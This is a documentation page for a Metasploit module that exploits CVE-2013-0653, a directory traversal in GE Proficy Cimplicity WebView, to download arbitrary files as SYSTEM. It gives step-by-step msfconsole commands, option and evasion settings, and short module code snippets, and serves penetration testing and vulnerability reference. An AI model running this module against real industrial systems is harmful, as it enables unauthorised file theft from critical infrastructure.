GE Proficy Cimplicity WebView substitute.bcl Directory Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/admin/scada/ge_proficy_substitute_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: GE Proficy Cimplicity WebView substitute.bcl Directory Traversal
Module: auxiliary/admin/scada/ge_proficy_substitute_traversal
Source code: modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb
Disclosure date: 2013-01-22
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 80
List of CVEs: CVE-2013-0653
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/scada/ge_proficy_substitute_traversal
msf auxiliary(ge_proficy_substitute_traversal) > show targets
... a list of targets ...
msf auxiliary(ge_proficy_substitute_traversal) > set TARGET target-id
msf auxiliary(ge_proficy_substitute_traversal) > show options
... show and set options ...
msf auxiliary(ge_proficy_substitute_traversal) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/scada/ge_proficy_substitute_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/scada/ge_proficy_substitute_traversal
msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show info
Name: GE Proficy Cimplicity WebView substitute.bcl Directory Traversal
Module: auxiliary/admin/scada/ge_proficy_substitute_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-01-22
Provided by:
Unknown
juan vazquez <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 5 yes Traversal depth
FILEPATH /windows\win.ini yes The name of the file to download
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
TARGETURI /CimWeb yes Path to CimWeb
Description:
This module abuses a directory traversal in GE Proficy Cimplicity,
specifically on the gefebt.exe component used by the WebView, in
order to retrieve arbitrary files with SYSTEM privileges. This
module has been tested successfully on GE Proficy Cimplicity 7.5.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-0653
OSVDB (89490)
http://www.securityfocus.com/bid/57505
http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02
Module Options
This is a complete list of options available in the admin/scada/ge_proficy_substitute_traversal auxiliary module:
msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show options
Module options (auxiliary/admin/scada/ge_proficy_substitute_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 5 yes Traversal depth
FILEPATH /windows\win.ini yes The name of the file to download
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
TARGETURI /CimWeb yes Path to CimWeb
Advanced Options
Here is a complete list of advanced options supported by the admin/scada/ge_proficy_substitute_traversal auxiliary module:
msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show advanced
Module advanced options (auxiliary/admin/scada/ge_proficy_substitute_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/scada/ge_proficy_substitute_traversal module can do:
msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/scada/ge_proficy_substitute_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/scada/ge_proficy_substitute_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Invalid URI: <VALUE>
Here is a relevant code snippet related to the "Invalid URI: <VALUE>" error message:
60: # In case TARGETURI is empty, at least we default to '/'
61: u = datastore['TARGETURI']
62: u = "/" if u.nil? or u.empty?
63: URI(u)
64: rescue ::URI::InvalidURIError
65: print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
66: raise Msf::OptionValidateError.new(['TARGETURI'])
67: end
68: end
69:
70: def my_basename(filename)
TARGETURI
Here is a relevant code snippet related to the "TARGETURI" error message:
61: u = datastore['TARGETURI']
62: u = "/" if u.nil? or u.empty?
63: URI(u)
64: rescue ::URI::InvalidURIError
65: print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
66: raise Msf::OptionValidateError.new(['TARGETURI'])
67: end
68: end
69:
70: def my_basename(filename)
71: return ::File.basename(filename.gsub(/\\/, "/"))
<PEER> - GE proficy not found
Here is a relevant code snippet related to the "<PEER> - GE proficy not found" error message:
114:
115: print_status("#{@peer} - Checking if it's a GE Proficy Application...")
116: if is_proficy?
117: print_good("#{@peer} - Check successful")
118: else
119: print_error("#{@peer} - GE proficy not found")
120: return
121: end
122:
123: contents = read_file(datastore['FILEPATH'])
124: if contents.nil?
<PEER> - File not downloaded
Here is a relevant code snippet related to the "<PEER> - File not downloaded" error message:
120: return
121: end
122:
123: contents = read_file(datastore['FILEPATH'])
124: if contents.nil?
125: print_error("#{@peer} - File not downloaded")
126: return
127: end
128:
129: file_name = my_basename(datastore['FILEPATH'])
130: path = store_loot(
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3751 Merged Pull Request: [SeeRM 8836] Change boot.ini to win.ini
- #2525 Merged Pull Request: Change module boilerplate
- #2340 Merged Pull Request: Fix ltype on store_loot
- #2336 Merged Pull Request: Add module for CVE-2013-0653
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/admin/scada/modicon_command
- auxiliary/admin/scada/modicon_password_recovery
- auxiliary/admin/scada/modicon_stux_transfer
- auxiliary/admin/scada/moxa_credentials_recovery
- auxiliary/admin/scada/multi_cip_command
- auxiliary/admin/scada/pcom_command
- auxiliary/admin/scada/phoenix_command
- auxiliary/admin/scada/yokogawa_bkbcopyd_client
- exploit/windows/scada/ge_proficy_cimplicity_gefebt
- auxiliary/admin/appletv/appletv_display_image
- auxiliary/admin/emc/alphastor_devicemanager_exec
- auxiliary/admin/emc/alphastor_librarymanager_exec
- auxiliary/admin/http/allegro_rompager_auth_bypass
- auxiliary/admin/http/axigen_file_access
- auxiliary/admin/http/cfme_manageiq_evm_pass_reset
- auxiliary/admin/http/manage_engine_dc_create_admin
- auxiliary/admin/http/manageengine_dir_listing
- auxiliary/admin/http/manageengine_file_download
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/admin/http/netgear_auth_download
- auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
- auxiliary/admin/http/netgear_r6700_pass_reset
- auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/netgear_wnr2000_pass_recovery
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/admin/vmware/vcenter_forge_saml_token
- auxiliary/admin/zend/java_bridge
- auxiliary/admin/http/sophos_wpa_traversal
- auxiliary/admin/http/tomcat_utf8_traversal
- auxiliary/admin/http/trendmicro_dlp_traversal
- auxiliary/admin/officescan/tmlisten_traversal
- auxiliary/admin/smb/samba_symlink_traversal
Authors
- Unknown
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.